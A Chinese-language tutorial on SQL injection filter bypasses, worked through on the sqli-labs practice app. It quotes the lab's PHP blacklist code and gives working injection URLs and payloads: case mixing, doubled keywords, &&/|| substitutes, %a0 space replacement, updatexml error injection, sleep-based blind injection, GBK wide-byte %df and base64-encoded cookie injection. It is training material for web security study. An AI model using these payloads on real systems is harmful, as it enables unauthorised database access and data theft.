1.1 大小写绕过
如果过滤器通过关键字进行过滤并没有识别大小写,我们就可以使用大小写来进行绕过,因为SQL语句是不区分大小写的。
原始语句:SELECT * FROM users WHERE id='1' LIMIT 0,1
大小写掺杂注入:SELECT * FROM users WHERE id='1' And 1=1 --+'LIMIT 0,1
问题存在的原因是:过滤器过滤了正常的关键字,但是并没有对字符串进行处理。
1.2 注释绕过
1.2.1 源码分析
[[email protected] Less-23]# vim index.php 23 $reg = "/#/"; 24 $reg1 = "/--/";
可以看到Less- 23中源代码过滤了单行注释的方法,我们可以正常闭合SQL语句来进行绕过。通过以上程序中代码可看到被过滤的有#和--,因此不能使用注释进行注入,下面绕过注释进行注入。
1.2.2 直接注入
- 测试URL:http://192.168.10.159/sqli-labs/Less-23/?id=-1' union select 1,database(),'3
- 实际SQL:SELECT * FROM users WHERE id='-1' union select 1,database(),'3' LIMIT 0,1
【结果分析】:
语句中的-1' union select 1, database(),'3,其中的-1' 单引号用于闭合原语句中的前面单引号,'3是用于闭合原语句中后面的单引号
1.2.3 逻辑运算注入
- 测试URL:http://192.168.10.159/sqli-labs/Less-23/?id=-1' union select 1,database(),3 or '1'='1
- 实际SQL:SELECT * FROM users WHERE id='-1' union select 1,database(),3 or '1'='1' LIMIT 0,1
【结果分析】:
使用and或者or添加一个表达式or '1' = '1注意后面一定要缺省一个单引号,否则SQL语句不能正常闭合。
1.3 双写绕过
1.3.1 源码分析
[[email protected] Less-25]# vim index.php 59 function blacklist($id) 60 { 61 $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) 62 $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) 63 64 return $id; 65 }
代码中过滤了or和AND,大小写同样都被过滤了。
1.3.2 双写搭配大小写绕过
- 测试URL:http://192.168.10.159/sqli-labs/Less-25/?id=1'aAndnD 1=1 --+
- 实际SQL:SELECT * FROM users WHERE id='1'anD 1=1 -- ' LIMIT 0,1
【结果分析】:
我们将一个完整的关键字包含在另一个关键字当中,当过滤器过滤掉中间的关键字时外部的关键字会自动闭合成一个新的关键字。
1.4 关键字等价绕过
1.4.1 and等价字符&&
- 测试URL:http://192.168.10.159/sqli-labs/Less-25/?id=1 && id=2 --+
- 实际SQL:SELECT * FROM users WHERE id='2 -- ' LIMIT 0,1
【结果分析】:
我们可以看到这条语句id=1后面并没有单引号,原因是使用&&进行连接时不需要进行闭合,流程为id=1然后继续执行id=2最后--+单行注释
因为id=1 && id=2都是在同一个URL中指定,首先id=1这个时候id的变量中的值为1,此时数据还没带到数据库里查询,因为还有&& id=2,然后id再重新传递一次,这个时候id的变量中的值就变成了2,然后传参结束,所以最终的值是2,再到数据库里执行,结果是id=2的记录。
1.4.2 or等价字符||
- 测试URL:http://192.168.10.159/sqli-labs/Less-25/?id=-1' || id=2 --+
- 实际SQL:SELECT * FROM users WHERE id='-1' || id=2 -- ' LIMIT 0,1
【结果分析】:
这里id=-1'使SQL语句报错并使用单引号进行闭合,然后拼接||执行id=2最终--+单行注释。
||前面SQL语句执行失败才会执行后面语句,这一点和union是一样的,需要我们手动将前面代码进行报错。
1.5 去除空格绕过
URL编码是一种用途广泛的技术,可以通过URL编码来绕过多种类型的过滤器,通常会将存在问题的字符转换成十六进制ASCII码来进行替换,并且将0x替换为%。
1.5.1 源码分析
[[email protected] Less-26]# vim index.php 57 function blacklist($id) 58 { 59 $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) 60 $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) 61 $id= preg_replace('/[\/\*]/',"", $id); //strip out /* 62 $id= preg_replace('/[--]/',"", $id); //Strip out -- 63 $id= preg_replace('/[#]/',"", $id); //Strip out # 64 $id= preg_replace('/[\s]/',"", $id); //Strip out spaces 65 $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes 66 return $id; 67 }
1.5.2 url编码替换特殊符号
- 测试URL:http://192.168.10.159/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
- 等价URL:http://192.168.10.159/sqli-labs/Less-26/?id=0' union select 1,database(),3 && '1'='1
- 实际SQL:SELECT * FROM users WHERE id='0' union select 1,database(),3 && '1'='1' LIMIT 0,1
【字段解释】:
%a0:表示空格,MySQL中%a0代表空白符,可以代替空格
%26:表示&
%27:表示'单引号
可替代空格使用的符号:
%20 %09 %0a %0b %Oc %Od %a0 /**/ # ascii码转url编码
1.6 绕过去除关键字的绕过
1.6.1 源码分析
[[email protected] Less-27]# vim index.php 57 function blacklist($id) 58 { 59 $id= preg_replace('/[\/\*]/',"", $id); //strip out /* 60 $id= preg_replace('/[--]/',"", $id); //Strip out --. 61 $id= preg_replace('/[#]/',"", $id); //Strip out #. 62 $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. 63 $id= preg_replace('/select/m',"", $id); //Strip out spaces. 64 $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. 65 $id= preg_replace('/union/s',"", $id); //Strip out union 66 $id= preg_replace('/select/s',"", $id); //Strip out select 67 $id= preg_replace('/UNION/s',"", $id); //Strip out UNION 68 $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT 69 $id= preg_replace('/Union/s',"", $id); //Strip out Union 70 $id= preg_replace('/Select/s',"", $id); //Strip out select 71 return $id; 72 }
源码中过滤了常用注释和union、select,不过我们可以看到代码中的过滤并不完善,我们可以利用前面学过的多种方式进行绕过。
1.6.2 大小写绕过
- 测试URL:http://192.168.10.159/sqli-labs/Less-27/?id=1'and%a0updatexml(1,concat(0x7e,(sElEct%a0user()),0x7e),1) and '1'='1
- 实际SQL:SELECT * FROM users WHERE id='1'and updatexml(1,concat(0x7e,(sElEct user()),0x7e),1)and'1'='1' LIMIT 0,1
1.6.3 盲注绕过
- 测试URL:http://192.168.10.159/sqli-labs/Less-27/?id=1%27%a0and%a0if((length(database())=8),sleep(3),1)%a0and%a0%271
- 等价URL:http://192.168.10.159/sqli-labs/Less-27/?id=1' and if((length(database())=8),sleep(3),1) and '1
- 实际SQL:SELECT * FROM users WHERE id='1' and if((length(database())=8),sleep(3),1) and '1' LIMIT 0,1
【结果分析】:
条件判断成立,所以sleep了3秒。
1.7 MySQL宽字符绕过
GBK占用两字节,ASCII占用一字节,PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
MySQL在使用GBK编码时会认为两个字符为一个汉字,宽字节注入就是发生在PHP向MySQL请求时字符集使用了GBK编码。
利用场景:addslashes()转义的sql注入
1.7.1 转义验证
我们可以看到经过addslashes()函数过滤后我们输入的字符会被转义,我们输入的是一个\,结果
反馈出来的是\\,由此证明我们输入的\被转义了。
1.7.2 构造汉字符绕过
- 测试URL:http://192.168.10.159/sqli-labs/Less-33/?id=-1%df' union select 1,database(),user() --+
- 实际SQL:SELECT * FROM users WHERE id='-1ޜ' union select 1,database(),user() -- ' LIMIT 0,1
【结果分析】:
这是因为id的参数传入代码层就会在'前加一个\,由于采用的URL编码,所以产生的效果是%df%5c%27,关键就在这里,在GBK编码中两个字符表示一个汉字,所以%df把%5c吃掉形成了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义了,可以发挥效果。
都知道'或\被PHP转义(用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了\'其中\的十六进制是%5C,那么在注入时候可以加入%df,然后结果为%df\'换为URL编码则是%df%5c%27如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时会认为%df%5c是一个宽字符,也就是運’,也就是说 %df\' = %df%5c%27=運',接下来单引号就可以起闭合作用了。
宽字符注入的必要条件:第一个字符的ASCII码必须大于128。具体的参照ASCII表。
1.8 Base64编码绕过
1.8.1 源码分析
[[email protected] Less-22]# vim index.php 144 $cookee = base64_decode($cookee);
PHP代码使用base64 decode();函数来进行解码。
1.8.2 base64编码注入
1.8.2.2 使用burpsuite进行编码并验证注入点
此处使用\来爆出闭合方式:
【结果分析】:
报错内容:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"admin\" LIMIT 0,1' at line 1
通过以上实验可看到闭合方式是双引号。
1.8.2.3 将注入语句编码并进行注入
点击Decoder进行报错注入将我们设计好的SQL语句进行base64加密:
admin" and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1
【结果分析】:
实际SQL:SELECT * FROM users WHERE username="admin" and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1" LIMIT 0,1
